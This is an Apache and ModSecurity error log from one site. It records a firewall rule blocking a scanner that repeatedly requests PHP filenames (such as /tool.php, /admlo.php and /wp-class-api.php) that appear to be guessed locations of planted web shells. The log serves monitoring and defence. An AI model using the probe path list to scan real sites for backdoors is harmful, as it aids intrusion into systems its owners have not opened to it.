[Thu Apr 23 21:31:06.141746 2026] [:error] [pid 25635:tid 25662] [client 20.251.223.35:39978] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeofGsRxv6UsgRGKB3I0zwAAARc"]
[Thu Apr 23 21:31:07.241191 2026] [:error] [pid 42972:tid 43027] [client 20.251.223.35:53428] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeofG8OAb-3sOknsk4c_5AAAAEs"]
[Thu Apr 23 21:31:07.731113 2026] [:error] [pid 42973:tid 43048] [client 20.251.223.35:44902] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeofG26I0QqmmmLTHE0eBQAAAIU"]
[Thu Apr 23 21:31:08.063079 2026] [:error] [pid 42972:tid 43026] [client 20.251.223.35:28212] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeofHMOAb-3sOknsk4c_5gAAAEo"]
[Thu Apr 23 21:31:08.940451 2026] [:error] [pid 59700:tid 59704] [client 20.251.223.35:53400] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeofHJXyGZJFeAIDWtkrOAAAAUI"]
[Thu Apr 23 21:31:09.922497 2026] [:error] [pid 43083:tid 43107] [client 20.251.223.35:41909] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeofHTC5hrvNXosL83J6JwAAANY"]
[Thu Apr 23 21:31:10.679062 2026] [proxy_fcgi:error] [pid 64998:tid 65004] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:10.943198 2026] [proxy_fcgi:error] [pid 64998:tid 65025] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:11.219761 2026] [proxy_fcgi:error] [pid 64998:tid 65014] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:11.486406 2026] [proxy_fcgi:error] [pid 64998:tid 65017] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:11.755097 2026] [proxy_fcgi:error] [pid 64998:tid 65006] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:12.018712 2026] [proxy_fcgi:error] [pid 64998:tid 65011] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:12.298491 2026] [proxy_fcgi:error] [pid 64998:tid 65021] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:12.825914 2026] [proxy_fcgi:error] [pid 64998:tid 65002] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:13.090705 2026] [proxy_fcgi:error] [pid 64998:tid 65003] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:13.354616 2026] [proxy_fcgi:error] [pid 64998:tid 65026] [client 20.251.223.35:5772] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:31:13.614433 2026] [:error] [pid 64998:tid 65018] [client 20.251.223.35:5772] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeofIYV5EysYcTLjmwiB1gAAAdA"]
[Thu Apr 23 21:31:14.333804 2026] [:error] [pid 65000:tid 65042] [client 20.251.223.35:36420] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeofIr6vRb9j6psK2ZaO4wAAAgk"]
[Thu Apr 23 21:31:14.945541 2026] [:error] [pid 25635:tid 25660] [client 20.251.223.35:5788] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeofIsRxv6UsgRGKB3I00gAAARU"]
[Thu Apr 23 21:31:16.022042 2026] [:error] [pid 42972:tid 43035] [client 20.251.223.35:34439] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws82.php"] [unique_id "aeofJMOAb-3sOknsk4c_7AAAAFM"]
[Thu Apr 23 21:31:16.022432 2026] [:error] [pid 64998:tid 65010] [client 20.251.223.35:34444] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admlo.php"] [unique_id "aeofJIV5EysYcTLjmwiB2gAAAcg"]
[Thu Apr 23 21:31:16.646045 2026] [:error] [pid 42972:tid 43032] [client 20.251.223.35:41862] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeofJMOAb-3sOknsk4c_7QAAAFA"]
[Thu Apr 23 21:31:17.189015 2026] [:error] [pid 65000:tid 65030] [client 20.251.223.35:41887] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeofJb6vRb9j6psK2ZaO5wAAAgE"]
[Thu Apr 23 21:31:18.044792 2026] [:error] [pid 42973:tid 43058] [client 20.251.223.35:39938] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeofJm6I0QqmmmLTHE0eEgAAAI8"]
[Thu Apr 23 21:31:19.382038 2026] [:error] [pid 43083:tid 43094] [client 20.251.223.35:47197] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gcqoa.php"] [unique_id "aeofJzC5hrvNXosL83J6LgAAAMk"]
[Thu Apr 23 21:31:21.722937 2026] [:error] [pid 42972:tid 43033] [client 20.251.223.35:44949] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeofKcOAb-3sOknsk4c_-gAAAFE"]
[Thu Apr 23 21:31:23.424786 2026] [:error] [pid 64998:tid 65019] [client 20.251.223.35:41831] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeofK4V5EysYcTLjmwiCCAAAAdE"]
[Thu Apr 23 21:31:25.068133 2026] [:error] [pid 65000:tid 65043] [client 20.251.223.35:47192] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeofLb6vRb9j6psK2ZaPAgAAAgo"]
[Thu Apr 23 21:31:26.026248 2026] [:error] [pid 42972:tid 43028] [client 20.251.223.35:41872] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "aeofLsOAb-3sOknsk4c__AAAAEw"]
[Thu Apr 23 21:31:27.210903 2026] [:error] [pid 65000:tid 65057] [client 20.251.223.35:5987] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeofL76vRb9j6psK2ZaPCgAAAhg"]
[Thu Apr 23 21:31:28.329605 2026] [:error] [pid 65000:tid 65052] [client 20.251.223.35:50936] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeofML6vRb9j6psK2ZaPEAAAAhM"]
[Thu Apr 23 21:31:28.894047 2026] [:error] [pid 59700:tid 59708] [client 20.251.223.35:37606] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeofMJXyGZJFeAIDWtkrQQAAAUY"]
[Thu Apr 23 21:31:29.744437 2026] [:error] [pid 42972:tid 43038] [client 20.251.223.35:38255] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "aeofMcOAb-3sOknsk4dAAQAAAFY"]
[Thu Apr 23 21:31:30.498862 2026] [:error] [pid 65000:tid 65051] [client 20.251.223.35:37587] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeofMr6vRb9j6psK2ZaPFQAAAhI"]
[Thu Apr 23 21:31:30.698908 2026] [:error] [pid 42972:tid 43016] [client 20.251.223.35:38254] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeofMsOAb-3sOknsk4dACAAAAEA"]
[Thu Apr 23 21:31:31.071790 2026] [:error] [pid 42972:tid 43032] [client 20.251.223.35:41812] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeofM8OAb-3sOknsk4dADAAAAFA"]
[Thu Apr 23 21:31:32.202678 2026] [:error] [pid 42972:tid 43040] [client 20.251.223.35:5385] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeofNMOAb-3sOknsk4dADwAAAFg"]
[Thu Apr 23 21:31:33.883873 2026] [:error] [pid 65000:tid 65053] [client 20.251.223.35:5397] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aeofNb6vRb9j6psK2ZaPFwAAAhQ"]
[Thu Apr 23 21:31:35.556413 2026] [:error] [pid 65000:tid 65038] [client 20.251.223.35:39491] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeofN76vRb9j6psK2ZaPGQAAAgU"]
[Thu Apr 23 21:31:37.186757 2026] [:error] [pid 43083:tid 43087] [client 20.251.223.35:45312] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeofOTC5hrvNXosL83J6NAAAAMI"]
[Thu Apr 23 21:31:38.090220 2026] [:error] [pid 46953:tid 46962] [client 20.251.223.35:44933] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeofOknlpdHh-P6wKbo61wAAAkY"]
[Thu Apr 23 21:31:39.198923 2026] [:error] [pid 65000:tid 65052] [client 20.251.223.35:29455] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-api.php"] [unique_id "aeofO76vRb9j6psK2ZaPIwAAAhM"]
[Thu Apr 23 21:31:40.746669 2026] [:error] [pid 65000:tid 65047] [client 20.251.223.35:31405] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeofPL6vRb9j6psK2ZaPKwAAAg4"]
[Thu Apr 23 21:31:41.521541 2026] [:error] [pid 64998:tid 65021] [client 20.251.223.35:29487] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeofPYV5EysYcTLjmwiCOAAAAdM"]
[Thu Apr 23 21:31:42.338873 2026] [:error] [pid 64998:tid 65019] [client 20.251.223.35:45336] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeofPoV5EysYcTLjmwiCPwAAAdE"]
[Thu Apr 23 21:31:43.152821 2026] [:error] [pid 46953:tid 46972] [client 20.251.223.35:38235] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeofP0nlpdHh-P6wKbo62QAAAlA"]
[Thu Apr 23 21:31:43.887250 2026] [:error] [pid 64998:tid 65011] [client 20.251.223.35:31371] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "aeofP4V5EysYcTLjmwiCSQAAAck"]
[Thu Apr 23 21:31:44.684896 2026] [:error] [pid 42973:tid 43051] [client 20.251.223.35:5150] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeofQG6I0QqmmmLTHE0eGwAAAIg"]
[Thu Apr 23 21:31:45.508823 2026] [:error] [pid 65000:tid 65048] [client 20.251.223.35:5380] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeofQb6vRb9j6psK2ZaPMwAAAg8"]
[Thu Apr 23 21:31:46.483398 2026] [:error] [pid 46953:tid 46958] [client 20.251.223.35:28918] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeofQknlpdHh-P6wKbo62wAAAkI"]
[Thu Apr 23 21:31:47.351480 2026] [:error] [pid 42973:tid 43067] [client 20.251.223.35:44941] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aeofQ26I0QqmmmLTHE0eIgAAAJg"]
[Thu Apr 23 21:31:48.319284 2026] [:error] [pid 42972:tid 43029] [client 20.251.223.35:29498] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeofRMOAb-3sOknsk4dALQAAAE0"]
[Thu Apr 23 21:31:49.122762 2026] [:error] [pid 42972:tid 43031] [client 20.251.223.35:38209] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeofRcOAb-3sOknsk4dAMAAAAE8"]
[Thu Apr 23 21:31:49.835716 2026] [:error] [pid 42973:tid 43062] [client 20.251.223.35:41818] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeofRW6I0QqmmmLTHE0eJQAAAJM"]
[Thu Apr 23 21:31:50.561936 2026] [:error] [pid 65000:tid 65038] [client 20.251.223.35:41829] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "aeofRr6vRb9j6psK2ZaPNgAAAgU"]
[Thu Apr 23 21:31:51.294988 2026] [:error] [pid 42972:tid 43038] [client 20.251.223.35:38217] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeofR8OAb-3sOknsk4dANQAAAFY"]
[Thu Apr 23 21:31:51.856485 2026] [:error] [pid 64998:tid 65002] [client 20.251.223.35:36393] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeofR4V5EysYcTLjmwiCbQAAAcA"]
[Thu Apr 23 21:31:52.657126 2026] [:error] [pid 46953:tid 46959] [client 20.251.223.35:36362] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeofSEnlpdHh-P6wKbo65QAAAkM"]
[Thu Apr 23 21:31:53.326760 2026] [:error] [pid 65000:tid 65054] [client 20.251.223.35:5402] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/first.php"] [unique_id "aeofSb6vRb9j6psK2ZaPPgAAAhU"]
[Thu Apr 23 21:32:11.478095 2026] [:error] [pid 65000:tid 65052] [client 20.251.223.35:33197] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "aeofW76vRb9j6psK2ZaPbQAAAhM"]
[Thu Apr 23 21:32:19.270409 2026] [proxy_fcgi:error] [pid 42972:tid 43019] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:32:19.533839 2026] [proxy_fcgi:error] [pid 42972:tid 43021] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:32:19.797777 2026] [proxy_fcgi:error] [pid 42972:tid 43040] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:32:20.059223 2026] [proxy_fcgi:error] [pid 42972:tid 43031] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:32:20.345767 2026] [proxy_fcgi:error] [pid 42972:tid 43035] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:32:20.608649 2026] [proxy_fcgi:error] [pid 42972:tid 43020] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:32:20.872180 2026] [proxy_fcgi:error] [pid 42972:tid 43039] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:32:21.424266 2026] [proxy_fcgi:error] [pid 42972:tid 43028] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:32:21.687460 2026] [proxy_fcgi:error] [pid 42972:tid 43036] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 21:32:21.988223 2026] [proxy_fcgi:error] [pid 42972:tid 43017] [client 20.251.223.35:39431] AH01071: Got error 'Primary script unknown'
